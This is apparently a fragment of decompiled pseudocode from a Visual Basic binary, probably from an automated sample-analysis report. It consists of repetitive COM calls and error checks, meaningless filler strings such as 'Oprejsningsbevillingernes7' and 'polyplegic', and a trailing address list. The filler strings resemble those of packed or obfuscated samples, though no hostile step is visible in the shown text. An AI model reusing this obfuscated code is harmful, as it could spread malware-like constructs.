        					L00401220();
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					asm("movsd");
        					_t1338 =  *((intOrPtr*)( *_v308 + 0x44))(_v308, 0x10, 0x10, 0x10, 0x10, 0x10,  &_v96);
        					asm("fclex");
        					_v312 = _t1338;
        					if(_v312 >= 0) {
        						_v384 = _v384 & 0x00000000;
        					} else {
        						_push(0x44);
        						_push(0x402ba8);
        						_push(_v308);
        						_push(_v312);
        						L00401352();
        						_v384 = _t1338;
        					}
        					_push( &_v96);
        					_push( &_v92);
        					_push( &_v88);
        					_push( &_v84);
        					_push(4);
        					L0040134C();
        					_t1493 = _t1493 + 0x14;
        					L00401346();
        				}
        				if( *0x416010 != 0) {
        					_v388 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v388 = 0x416010;
        				}
        				_t930 =  &_v84;
        				L0040135E();
        				_v284 = _t930;
        				_t934 =  *((intOrPtr*)( *_v284 + 0x70))(_v284,  &_v248, _t930,  *((intOrPtr*)( *((intOrPtr*)( *_v388)) + 0x310))( *_v388));
        				asm("fclex");
        				_v288 = _t934;
        				if(_v288 >= 0) {
        					_v392 = _v392 & 0x00000000;
        				} else {
        					_push(0x70);
        					_push(0x402b78);
        					_push(_v284);
        					_push(_v288);
        					L00401352();
        					_v392 = _t934;
        				}
        				if( *0x416010 != 0) {
        					_v396 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v396 = 0x416010;
        				}
        				_t938 =  &_v88;
        				L0040135E();
        				_v292 = _t938;
        				_t942 =  *((intOrPtr*)( *_v292 + 0x58))(_v292,  &_v252, _t938,  *((intOrPtr*)( *((intOrPtr*)( *_v396)) + 0x310))( *_v396));
        				asm("fclex");
        				_v296 = _t942;
        				if(_v296 >= 0) {
        					_v400 = _v400 & 0x00000000;
        				} else {
        					_push(0x58);
        					_push(0x402b78);
        					_push(_v292);
        					_push(_v296);
        					L00401352();
        					_v400 = _t942;
        				}
        				_t1353 =  &_v80;
        				L00401340();
        				_v208 = L"Corsite";
        				_v216 = 8;
        				_v256 =  *0x401138;
        				_v112 = _v252;
        				_v120 = 3;
        				_v176 = 0x680988;
        				_v184 = 3;
        				_v100 =  *0x401130;
        				L00401220();
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				_v120 = _v248;
        				L00401220();
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				 *((intOrPtr*)( *_a4 + 0x70c))(_a4, 0x10, _t1353,  &_v120, 0x810059,  &_v256, 0x10,  &_v80, _t1353, _t1353);
        				L00401364();
        				L0040134C();
        				_t1494 = _t1493 + 0xc;
        				L00401346();
        				_t956 =  *((intOrPtr*)( *_a4 + 0x6f8))(_a4, 2,  &_v84,  &_v88);
        				_v284 = _t956;
        				if(_v284 >= 0) {
        					_v404 = _v404 & 0x00000000;
        				} else {
        					_push(0x6f8);
        					_push(0x4029cc);
        					_push(_a4);
        					_push(_v284);
        					L00401352();
        					_v404 = _t956;
        				}
        				if( *0x416010 != 0) {
        					_v408 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v408 = 0x416010;
        				}
        				_t960 =  &_v84;
        				L0040135E();
        				_v284 = _t960;
        				_t964 =  *((intOrPtr*)( *_v284 + 0x60))(_v284,  &_v248, _t960,  *((intOrPtr*)( *((intOrPtr*)( *_v408)) + 0x304))( *_v408));
        				asm("fclex");
        				_v288 = _t964;
        				if(_v288 >= 0) {
        					_v412 = _v412 & 0x00000000;
        				} else {
        					_push(0x60);
        					_push(0x402bf0);
        					_push(_v284);
        					_push(_v288);
        					L00401352();
        					_v412 = _t964;
        				}
        				if( *0x416010 != 0) {
        					_v416 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v416 = 0x416010;
        				}
        				_t1361 =  *((intOrPtr*)( *_v416));
        				_t968 =  &_v88;
        				L0040135E();
        				_v292 = _t968;
        				_t972 =  *((intOrPtr*)( *_v292 + 0x60))(_v292,  &_v252, _t968,  *((intOrPtr*)(_t1361 + 0x30c))( *_v416));
        				asm("fclex");
        				_v296 = _t972;
        				if(_v296 >= 0) {
        					_v420 = _v420 & 0x00000000;
        				} else {
        					_push(0x60);
        					_push(0x402b88);
        					_push(_v292);
        					_push(_v296);
        					L00401352();
        					_v420 = _t972;
        				}
        				_v112 = _v252;
        				_v120 = 3;
        				_v256 = _v248;
        				_v184 =  *0x401128;
        				 *((intOrPtr*)( *_a4 + 0x710))(_a4, 0x6cfe4a,  &_v256, _t1361, _t1361,  &_v120,  &_v136);
        				L0040133A();
        				_push( &_v88);
        				_push( &_v84);
        				_push(2);
        				L0040134C();
        				_t1495 = _t1494 + 0xc;
        				L00401346();
        				if( *0x416010 != 0) {
        					_v424 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v424 = 0x416010;
        				}
        				_t986 =  &_v84;
        				L0040135E();
        				_v284 = _t986;
        				_t990 =  *((intOrPtr*)( *_v284 + 0x178))(_v284,  &_v248, _t986,  *((intOrPtr*)( *((intOrPtr*)( *_v424)) + 0x318))( *_v424));
        				asm("fclex");
        				_v288 = _t990;
        				if(_v288 >= 0) {
        					_v428 = _v428 & 0x00000000;
        				} else {
        					_push(0x178);
        					_push(0x402b78);
        					_push(_v284);
        					_push(_v288);
        					L00401352();
        					_v428 = _t990;
        				}
        				_v112 = _v248;
        				_v120 = 3;
        				_v272 = 0x611850a0;
        				_v268 = 0x5af9;
        				_t1367 =  &_v80;
        				L00401340();
        				_v240 =  *0x401120;
        				 *((intOrPtr*)( *_a4 + 0x714))(_a4,  &_v80, _t1367, _t1367, 0x4fa7fa,  &_v272,  &_v120,  &_v236);
        				_v36 = _v236;
        				L00401364();
        				L00401334();
        				L00401346();
        				_v176 = L"KONSULENTTJENESTE";
        				_v184 = 8;
        				L0040132E();
        				_t1372 =  &_v80;
        				L00401340();
        				_v256 =  *0x401118;
        				 *((intOrPtr*)( *_a4 + 0x718))(_a4,  &_v80, 0x49fbd7e0, 0x5afc,  &_v120, _t1372, _t1372);
        				L00401364();
        				L00401346();
        				if( *0x416010 != 0) {
        					_v432 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v432 = 0x416010;
        				}
        				_t1008 =  &_v84;
        				L0040135E();
        				_v284 = _t1008;
        				_t1012 =  *((intOrPtr*)( *_v284 + 0x158))(_v284,  &_v236, _t1008,  *((intOrPtr*)( *((intOrPtr*)( *_v432)) + 0x2fc))( *_v432));
        				asm("fclex");
        				_v288 = _t1012;
        				if(_v288 >= 0) {
        					_v436 = _v436 & 0x00000000;
        				} else {
        					_push(0x158);
        					_push(0x402bf0);
        					_push(_v284);
        					_push(_v288);
        					L00401352();
        					_v436 = _t1012;
        				}
        				_v176 = L"DOMICILET";
        				_v184 = 8;
        				L00401220();
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				 *((intOrPtr*)( *_a4 + 0x71c))(_a4, _v236, 0x10, 0xde511ad0, 0x5af3);
        				L00401334();
        				if( *0x416010 != 0) {
        					_v440 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v440 = 0x416010;
        				}
        				_t1020 =  &_v84;
        				L0040135E();
        				_v284 = _t1020;
        				_t1024 =  *((intOrPtr*)( *_v284 + 0x48))(_v284,  &_v80, _t1020,  *((intOrPtr*)( *((intOrPtr*)( *_v440)) + 0x308))( *_v440));
        				asm("fclex");
        				_v288 = _t1024;
        				if(_v288 >= 0) {
        					_v444 = _v444 & 0x00000000;
        				} else {
        					_push(0x48);
        					_push(0x402b88);
        					_push(_v284);
        					_push(_v288);
        					L00401352();
        					_v444 = _t1024;
        				}
        				if( *0x416010 != 0) {
        					_v448 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v448 = 0x416010;
        				}
        				_t1028 =  &_v88;
        				L0040135E();
        				_v292 = _t1028;
        				_t1032 =  *((intOrPtr*)( *_v292 + 0x1a0))(_v292,  &_v248, _t1028,  *((intOrPtr*)( *((intOrPtr*)( *_v448)) + 0x300))( *_v448));
        				asm("fclex");
        				_v296 = _t1032;
        				if(_v296 >= 0) {
        					_v452 = _v452 & 0x00000000;
        				} else {
        					_push(0x1a0);
        					_push(0x402bf0);
        					_push(_v292);
        					_push(_v296);
        					L00401352();
        					_v452 = _t1032;
        				}
        				_v256 = _v248;
        				_v328 = _v80;
        				_v80 = _v80 & 0x00000000;
        				_v112 = _v328;
        				_v120 = 8;
        				_v272 = 0x7f9735e0;
        				_v268 = 0x5afa;
        				_v252 =  *0x401110;
        				 *((intOrPtr*)( *_a4 + 0x720))(_a4, 0x4da240,  &_v252,  &_v272, 0x5a9d,  &_v120,  &_v256,  &_v260);
        				_v76 = _v260;
        				_push( &_v88);
        				_push( &_v84);
        				_push(2);
        				L0040134C();
        				_t1496 = _t1495 + 0xc;
        				L00401346();
        				if( *0x416010 != 0) {
        					_v456 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v456 = 0x416010;
        				}
        				_t1050 =  &_v84;
        				L0040135E();
        				_v284 = _t1050;
        				_t1054 =  *((intOrPtr*)( *_v284 + 0x1e8))(_v284,  &_v236, _t1050,  *((intOrPtr*)( *((intOrPtr*)( *_v456)) + 0x318))( *_v456));
        				asm("fclex");
        				_v288 = _t1054;
        				if(_v288 >= 0) {
        					_v460 = _v460 & 0x00000000;
        				} else {
        					_push(0x1e8);
        					_push(0x402b78);
        					_push(_v284);
        					_push(_v288);
        					L00401352();
        					_v460 = _t1054;
        				}
        				if( *0x416010 != 0) {
        					_v464 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v464 = 0x416010;
        				}
        				_t1058 =  &_v88;
        				L0040135E();
        				_v292 = _t1058;
        				_t1062 =  *((intOrPtr*)( *_v292 + 0xf8))(_v292,  &_v92, _t1058,  *((intOrPtr*)( *((intOrPtr*)( *_v464)) + 0x300))( *_v464));
        				asm("fclex");
        				_v296 = _t1062;
        				if(_v296 >= 0) {
        					_v468 = _v468 & 0x00000000;
        				} else {
        					_push(0xf8);
        					_push(0x402bf0);
        					_push(_v292);
        					_push(_v296);
        					L00401352();
        					_v468 = _t1062;
        				}
        				_v332 = _v92;
        				_v92 = _v92 & 0x00000000;
        				_v128 = _v332;
        				_v136 = 9;
        				_v272 = 0x1bc2bf50;
        				_v268 = 0x5b02;
        				L00401340();
        				_v192 = 0x89382d;
        				_v200 = 3;
        				_v176 = L"Ultraofficious4";
        				_v184 = 8;
        				L0040132E();
        				L00401220();
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				_t1072 =  *((intOrPtr*)( *_a4 + 0x6fc))(_a4,  &_v120, 0x3215, 0x10,  &_v80, _v236,  &_v272,  &_v136);
        				_v300 = _t1072;
        				if(_v300 >= 0) {
        					_v472 = _v472 & 0x00000000;
        				} else {
        					_push(0x6fc);
        					_push(0x4029cc);
        					_push(_a4);
        					_push(_v300);
        					L00401352();
        					_v472 = _t1072;
        				}
        				L00401364();
        				_push( &_v88);
        				_push( &_v84);
        				_push(2);
        				L0040134C();
        				_push( &_v136);
        				_push( &_v120);
        				_push(2);
        				L00401328();
        				_t1498 = _t1496 + 0x18;
        				if( *0x416010 != 0) {
        					_v476 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v476 = 0x416010;
        				}
        				_t1397 =  *((intOrPtr*)( *_v476));
        				_t1080 =  &_v84;
        				L0040135E();
        				_v284 = _t1080;
        				_t1084 =  *((intOrPtr*)( *_v284 + 0x110))(_v284,  &_v236, _t1080,  *((intOrPtr*)(_t1397 + 0x304))( *_v476));
        				asm("fclex");
        				_v288 = _t1084;
        				if(_v288 >= 0) {
        					_v480 = _v480 & 0x00000000;
        				} else {
        					_push(0x110);
        					_push(0x402bf0);
        					_push(_v284);
        					_push(_v288);
        					L00401352();
        					_v480 = _t1084;
        				}
        				_v480 =  *0x40110c;
        				 *((intOrPtr*)( *_a4 + 0x724))(_a4, _v236, _t1397,  &_v248);
        				_v72 = _v248;
        				L00401334();
        				if( *0x416010 != 0) {
        					_v484 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v484 = 0x416010;
        				}
        				_t1092 =  &_v84;
        				L0040135E();
        				_v284 = _t1092;
        				_t1096 =  *((intOrPtr*)( *_v284 + 0x158))(_v284,  &_v88, _t1092,  *((intOrPtr*)( *((intOrPtr*)( *_v484)) + 0x30c))( *_v484));
        				asm("fclex");
        				_v288 = _t1096;
        				if(_v288 >= 0) {
        					_v488 = _v488 & 0x00000000;
        				} else {
        					_push(0x158);
        					_push(0x402b88);
        					_push(_v284);
        					_push(_v288);
        					L00401352();
        					_v488 = _t1096;
        				}
        				if( *0x416010 != 0) {
        					_v492 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v492 = 0x416010;
        				}
        				_t1100 =  &_v92;
        				L0040135E();
        				_v292 = _t1100;
        				_t1104 =  *((intOrPtr*)( *_v292 + 0x60))(_v292,  &_v248, _t1100,  *((intOrPtr*)( *((intOrPtr*)( *_v492)) + 0x320))( *_v492));
        				asm("fclex");
        				_v296 = _t1104;
        				if(_v296 >= 0) {
        					_v496 = _v496 & 0x00000000;
        				} else {
        					_push(0x60);
        					_push(0x402cbc);
        					_push(_v292);
        					_push(_v296);
        					L00401352();
        					_v496 = _t1104;
        				}
        				if( *0x416010 != 0) {
        					_v500 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v500 = 0x416010;
        				}
        				_t1108 =  &_v96;
        				L0040135E();
        				_v300 = _t1108;
        				_t1112 =  *((intOrPtr*)( *_v300 + 0x238))(_v300,  &_v80, _t1108,  *((intOrPtr*)( *((intOrPtr*)( *_v500)) + 0x310))( *_v500));
        				asm("fclex");
        				_v304 = _t1112;
        				if(_v304 >= 0) {
        					_v504 = _v504 & 0x00000000;
        				} else {
        					_push(0x238);
        					_push(0x402b78);
        					_push(_v300);
        					_push(_v304);
        					L00401352();
        					_v504 = _t1112;
        				}
        				if( *0x416010 != 0) {
        					_v508 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v508 = 0x416010;
        				}
        				_t1410 =  *((intOrPtr*)( *_v508));
        				_t1116 =  &_v100;
        				L0040135E();
        				_v308 = _t1116;
        				_t1120 =  *((intOrPtr*)( *_v308 + 0x178))(_v308,  &_v104, _t1116,  *((intOrPtr*)(_t1410 + 0x2fc))( *_v508));
        				asm("fclex");
        				_v312 = _t1120;
        				if(_v312 >= 0) {
        					_v512 = _v512 & 0x00000000;
        				} else {
        					_push(0x178);
        					_push(0x402bf0);
        					_push(_v308);
        					_push(_v312);
        					L00401352();
        					_v512 = _t1120;
        				}
        				L00401322();
        				_t1122 =  &_v152;
        				L0040131C();
        				_v260 = _t1122;
        				_v336 = _v80;
        				_v80 = _v80 & 0x00000000;
        				_v128 = _v336;
        				_v136 = 8;
        				_v256 = _v248;
        				_v340 = _v88;
        				_v88 = _v88 & 0x00000000;
        				_v112 = _v340;
        				_v120 = 9;
        				_v252 = 0x3c0810;
        				_v588 =  *0x401108;
        				 *((intOrPtr*)( *_a4 + 0x728))(_a4,  &_v252,  &_v120,  &_v256, _t1410,  &_v136,  &_v260, 0x5f9e, _t1122,  &_v152, _v104, 0, 0);
        				_push( &_v104);
        				_push( &_v100);
        				_push( &_v96);
        				_push( &_v92);
        				_push( &_v84);
        				_push(5);
        				L0040134C();
        				_push( &_v152);
        				_push( &_v136);
        				_push( &_v120);
        				_push(3);
        				L00401328();
        				_t1501 = _t1498 + 0x38;
        				if( *0x416010 != 0) {
        					_v516 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v516 = 0x416010;
        				}
        				_t1147 =  &_v84;
        				L0040135E();
        				_v284 = _t1147;
        				_t1151 =  *((intOrPtr*)( *_v284 + 0x100))(_v284,  &_v88, _t1147,  *((intOrPtr*)( *((intOrPtr*)( *_v516)) + 0x308))( *_v516));
        				asm("fclex");
        				_v288 = _t1151;
        				if(_v288 >= 0) {
        					_v520 = _v520 & 0x00000000;
        				} else {
        					_push(0x100);
        					_push(0x402b88);
        					_push(_v284);
        					_push(_v288);
        					L00401352();
        					_v520 = _t1151;
        				}
        				_push(0);
        				_push(0);
        				_push(_v88);
        				_push( &_v152);
        				L00401322();
        				_t1502 = _t1501 + 0x10;
        				if( *0x416010 != 0) {
        					_v524 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v524 = 0x416010;
        				}
        				_t1156 =  &_v92;
        				L0040135E();
        				_v292 = _t1156;
        				_t1160 =  *((intOrPtr*)( *_v292 + 0x108))(_v292,  &_v80, _t1156,  *((intOrPtr*)( *((intOrPtr*)( *_v524)) + 0x304))( *_v524));
        				asm("fclex");
        				_v296 = _t1160;
        				if(_v296 >= 0) {
        					_v528 = _v528 & 0x00000000;
        				} else {
        					_push(0x108);
        					_push(0x402bf0);
        					_push(_v292);
        					_push(_v296);
        					L00401352();
        					_v528 = _t1160;
        				}
        				if( *0x416010 != 0) {
        					_v532 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v532 = 0x416010;
        				}
        				_t1164 =  &_v96;
        				L0040135E();
        				_v300 = _t1164;
        				_t1168 =  *((intOrPtr*)( *_v300 + 0xf8))(_v300,  &_v236, _t1164,  *((intOrPtr*)( *((intOrPtr*)( *_v532)) + 0x30c))( *_v532));
        				asm("fclex");
        				_v304 = _t1168;
        				if(_v304 >= 0) {
        					_v536 = _v536 & 0x00000000;
        				} else {
        					_push(0xf8);
        					_push(0x402b88);
        					_push(_v300);
        					_push(_v304);
        					L00401352();
        					_v536 = _t1168;
        				}
        				_v208 = L"Breams4";
        				_v216 = 8;
        				_v128 = 0x382fba;
        				_v136 = 3;
        				_v176 = L"Oprejsningsbevillingernes7";
        				_v184 = 8;
        				_t1420 =  &_v120;
        				L0040132E();
        				L00401220();
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				_t1170 =  &_v152;
        				L0040131C();
        				 *_t1502 =  *0x401100;
        				_t1175 =  *((intOrPtr*)( *_a4 + 0x700))(_a4,  &_v120, _t1420, _t1420,  &_v136, _t1170, _t1170, _v80, 0x10, _v236);
        				_v308 = _t1175;
        				if(_v308 >= 0) {
        					_v540 = _v540 & 0x00000000;
        				} else {
        					_push(0x700);
        					_push(0x4029cc);
        					_push(_a4);
        					_push(_v308);
        					L00401352();
        					_v540 = _t1175;
        				}
        				L00401364();
        				_push( &_v88);
        				_push( &_v96);
        				_push( &_v92);
        				_push( &_v84);
        				_push(4);
        				L0040134C();
        				_push( &_v152);
        				_push( &_v136);
        				_push( &_v120);
        				_push(3);
        				L00401328();
        				if( *0x416010 != 0) {
        					_v544 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v544 = 0x416010;
        				}
        				_t1186 =  &_v84;
        				L0040135E();
        				_v284 = _t1186;
        				_t1190 =  *((intOrPtr*)( *_v284 + 0x48))(_v284,  &_v80, _t1186,  *((intOrPtr*)( *((intOrPtr*)( *_v544)) + 0x310))( *_v544));
        				asm("fclex");
        				_v288 = _t1190;
        				if(_v288 >= 0) {
        					_v548 = _v548 & 0x00000000;
        				} else {
        					_push(0x48);
        					_push(0x402b78);
        					_push(_v284);
        					_push(_v288);
        					L00401352();
        					_v548 = _t1190;
        				}
        				_v344 = _v80;
        				_v80 = _v80 & 0x00000000;
        				_v112 = _v344;
        				_v120 = 8;
        				_v176 = 0x406e9c;
        				_v184 = 3;
        				L00401220();
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				asm("movsd");
        				 *((intOrPtr*)( *_a4 + 0x72c))(_a4, 0x10,  &_v120,  &_v272);
        				_v32 = _v272;
        				L00401334();
        				L00401346();
        				if( *0x416010 != 0) {
        					_v552 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v552 = 0x416010;
        				}
        				_t1202 =  &_v84;
        				L0040135E();
        				_v284 = _t1202;
        				_t1206 =  *((intOrPtr*)( *_v284 + 0x158))(_v284,  &_v88, _t1202,  *((intOrPtr*)( *((intOrPtr*)( *_v552)) + 0x308))( *_v552));
        				asm("fclex");
        				_v288 = _t1206;
        				if(_v288 >= 0) {
        					_v556 = _v556 & 0x00000000;
        				} else {
        					_push(0x158);
        					_push(0x402b88);
        					_push(_v284);
        					_push(_v288);
        					L00401352();
        					_v556 = _t1206;
        				}
        				_push(0);
        				_push(0);
        				_push(_v88);
        				_push( &_v120);
        				L00401322();
        				if( *0x416010 != 0) {
        					_v560 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v560 = 0x416010;
        				}
        				_t1211 =  &_v92;
        				L0040135E();
        				_v292 = _t1211;
        				_t1215 =  *((intOrPtr*)( *_v292 + 0x130))(_v292,  &_v80, _t1211,  *((intOrPtr*)( *((intOrPtr*)( *_v560)) + 0x2fc))( *_v560));
        				asm("fclex");
        				_v296 = _t1215;
        				if(_v296 >= 0) {
        					_v564 = _v564 & 0x00000000;
        				} else {
        					_push(0x130);
        					_push(0x402bf0);
        					_push(_v292);
        					_push(_v296);
        					L00401352();
        					_v564 = _t1215;
        				}
        				if( *0x416010 != 0) {
        					_v568 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v568 = 0x416010;
        				}
        				_t1219 =  &_v96;
        				L0040135E();
        				_v300 = _t1219;
        				_t1223 =  *((intOrPtr*)( *_v300 + 0x170))(_v300,  &_v248, _t1219,  *((intOrPtr*)( *((intOrPtr*)( *_v568)) + 0x310))( *_v568));
        				asm("fclex");
        				_v304 = _t1223;
        				if(_v304 >= 0) {
        					_v572 = _v572 & 0x00000000;
        				} else {
        					_push(0x170);
        					_push(0x402b78);
        					_push(_v300);
        					_push(_v304);
        					L00401352();
        					_v572 = _t1223;
        				}
        				if( *0x416010 != 0) {
        					_v576 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v576 = 0x416010;
        				}
        				_t1227 =  &_v100;
        				L0040135E();
        				_v308 = _t1227;
        				_t1231 =  *((intOrPtr*)( *_v308 + 0x1c8))(_v308,  &_v236, _t1227,  *((intOrPtr*)( *((intOrPtr*)( *_v576)) + 0x310))( *_v576));
        				asm("fclex");
        				_v312 = _t1231;
        				if(_v312 >= 0) {
        					_v580 = _v580 & 0x00000000;
        				} else {
        					_push(0x1c8);
        					_push(0x402b78);
        					_push(_v308);
        					_push(_v312);
        					L00401352();
        					_v580 = _t1231;
        				}
        				_v160 = 0x268958;
        				_v168 = 3;
        				_v260 = _v248;
        				_v144 = 0x90013;
        				_v152 = 3;
        				_v348 = _v80;
        				_v80 = _v80 & 0x00000000;
        				_v128 = _v348;
        				_v136 = 8;
        				_t1235 =  &_v120;
        				L0040131C();
        				_v256 = _t1235;
        				_v252 = 0x61422a;
        				_t795 =  &_v252; // 0x61422a
        				 *((intOrPtr*)( *_a4 + 0x730))(_a4, _t795, 0x6a543c,  &_v256,  &_v136,  &_v152,  &_v260, _v236,  &_v168,  &_v264, _t1235);
        				_v44 = _v264;
        				_push( &_v88);
        				_push( &_v100);
        				_push( &_v96);
        				_push( &_v92);
        				_push( &_v84);
        				_push(5);
        				L0040134C();
        				_push( &_v168);
        				_push( &_v152);
        				_push( &_v136);
        				_push( &_v120);
        				_push(4);
        				L00401328();
        				if( *0x416010 != 0) {
        					_v584 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v584 = 0x416010;
        				}
        				_t1259 =  &_v84;
        				L0040135E();
        				_v284 = _t1259;
        				_t1263 =  *((intOrPtr*)( *_v284 + 0x1c8))(_v284,  &_v236, _t1259,  *((intOrPtr*)( *((intOrPtr*)( *_v584)) + 0x314))( *_v584));
        				asm("fclex");
        				_v288 = _t1263;
        				if(_v288 >= 0) {
        					_v588 = _v588 & 0x00000000;
        				} else {
        					_push(0x1c8);
        					_push(0x402b78);
        					_push(_v284);
        					_push(_v288);
        					L00401352();
        					_v588 = _t1263;
        				}
        				if( *0x416010 != 0) {
        					_v592 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v592 = 0x416010;
        				}
        				_t1267 =  &_v88;
        				L0040135E();
        				_v292 = _t1267;
        				_t1271 =  *((intOrPtr*)( *_v292 + 0x98))(_v292,  &_v240, _t1267,  *((intOrPtr*)( *((intOrPtr*)( *_v592)) + 0x314))( *_v592));
        				asm("fclex");
        				_v296 = _t1271;
        				if(_v296 >= 0) {
        					_v596 = _v596 & 0x00000000;
        				} else {
        					_push(0x98);
        					_push(0x402b78);
        					_push(_v292);
        					_push(_v296);
        					L00401352();
        					_v596 = _t1271;
        				}
        				if( *0x416010 != 0) {
        					_v600 = 0x416010;
        				} else {
        					_push("@'o");
        					_push(0x402110);
        					L00401358();
        					_v600 = 0x416010;
        				}
        				_t1275 =  &_v92;
        				L0040135E();
        				_v300 = _t1275;
        				_t1279 =  *((intOrPtr*)( *_v300 + 0x178))(_v300,  &_v96, _t1275,  *((intOrPtr*)( *((intOrPtr*)( *_v600)) + 0x2fc))( *_v600));
        				asm("fclex");
        				_v304 = _t1279;
        				if(_v304 >= 0) {
        					_v604 = _v604 & 0x00000000;
        				} else {
        					_push(0x178);
        					_push(0x402bf0);
        					_push(_v300);
        					_push(_v304);
        					L00401352();
        					_v604 = _t1279;
        				}
        				_v248 = 0x215c4c;
        				_v176 = L"polyplegic";
        				_v184 = 8;
        				L0040132E();
        				_v272 = 0xc21a1070;
        				_v268 = 0x5af7;
        				_v352 = _v96;
        				_v96 = _v96 & 0x00000000;
        				_v112 = _v352;
        				_v120 = 9;
        				_v244 = _v236;
        				_t881 =  &_v248; // 0x215c4c
        				_t1291 =  *((intOrPtr*)( *_a4 + 0x704))(_a4,  &_v244, _v240,  &_v120,  &_v272, 0x4f81,  &_v136, 0x3360, _t881,  &_v280);
        				_v308 = _t1291;
        				if(_v308 >= 0) {
        					_v608 = _v608 & 0x00000000;
        				} else {
        					_push(0x704);
        					_push(0x4029cc);
        					_push(_a4);
        					_push(_v308);
        					L00401352();
        					_v608 = _t1291;
        				}
        				_v52 = _v280;
        				L0040134C();
        				L00401328();
        				_t1299 =  *((intOrPtr*)( *_a4 + 0x2b4))(_a4, 2,  &_v120,  &_v136, 3,  &_v84,  &_v88,  &_v92);
        				asm("fclex");
        				_v284 = _t1299;
        				if(_v284 >= 0) {
        					_v612 = _v612 & 0x00000000;
        				} else {
        					_push(0x2b4);
        					_push(0x40299c);
        					_push(_a4);
        					_push(_v284);
        					L00401352();
        					_v612 = _t1299;
        				}
        				goto __ebx;
        			}





















































































































































































































        0x0040f766
        0x0040f772
        0x0040f77a
        0x0040f77d
        0x0040f78a
        0x0040f793
        0x0040f79e
        0x0040f7a1
        0x0040f7a6
        0x0040f7b0
        0x0040f7b5
        0x0040f7b6
        0x0040f7bb
        0x0040f7c2
        0x0040f7c8
        0x0040f7d2
        0x0040f7e0
        0x0040f7ed
        0x0040f80a
        0x0040f7ef
        0x0040f7ef
        0x0040f7f4
        0x0040f7f9
        0x0040f7fe
        0x0040f7fe
        0x0040f82e
        0x0040f832
        0x0040f837
        0x0040f84f
        0x0040f855
        0x0040f857
        0x0040f864
        0x0040f889
        0x0040f866
        0x0040f866
        0x0040f86b
        0x0040f870
        0x0040f876
        0x0040f87c
        0x0040f881
        0x0040f881
        0x0040f897
        0x0040f8b4
        0x0040f899
        0x0040f899
        0x0040f89e
        0x0040f8a3
        0x0040f8a8
        0x0040f8a8
        0x0040f8d8
        0x0040f8dc
        0x0040f8e1
        0x0040f8fc
        0x0040f8ff
        0x0040f901
        0x0040f90e
        0x0040f930
        0x0040f910
        0x0040f910
        0x0040f912
        0x0040f917
        0x0040f91d
        0x0040f923
        0x0040f928
        0x0040f928
        0x0040f93e
        0x0040f95b
        0x0040f940
        0x0040f940
        0x0040f945
        0x0040f94a
        0x0040f94f
        0x0040f94f
        0x0040f97f
        0x0040f983
        0x0040f988
        0x0040f9a3
        0x0040f9a6
        0x0040f9a8
        0x0040f9b5
        0x0040f9d7
        0x0040f9b7
        0x0040f9b7
        0x0040f9b9
        0x0040f9be
        0x0040f9c4
        0x0040f9ca
        0x0040f9cf
        0x0040f9cf
        0x0040f9e5
        0x0040fa02
        0x0040f9e7
        0x0040f9e7
        0x0040f9ec
        0x0040f9f1
        0x0040f9f6
        0x0040f9f6
        0x0040fa0c
        0x0040fa14
        0x0040fa1a
        0x0040fa24
        0x0040fa34
        0x0040fa3a
        0x0040fa44
        0x0040fa4e
        0x0040fa5e
        0x0040fa64
        0x0040fa71
        0x0040fa77
        0x0040fa81
        0x0040fa84
        0x0040fa92
        0x0040fa9f
        0x0040faa0
        0x0040faa1
        0x0040faa2
        0x0040faa6
        0x0040fab3
        0x0040fab4
        0x0040fab5
        0x0040fab6
        0x0040faba
        0x0040fac7
        0x0040fac8
        0x0040fac9
        0x0040faca
        0x0040face
        0x0040fadb
        0x0040fadc
        0x0040fadd
        0x0040fade
        0x0040fae2
        0x0040faec
        0x0040faed
        0x0040faee
        0x0040faef
        0x0040fafe
        0x0040fb01
        0x0040fb03
        0x0040fb10
        0x0040fb32
        0x0040fb12
        0x0040fb12
        0x0040fb14
        0x0040fb19
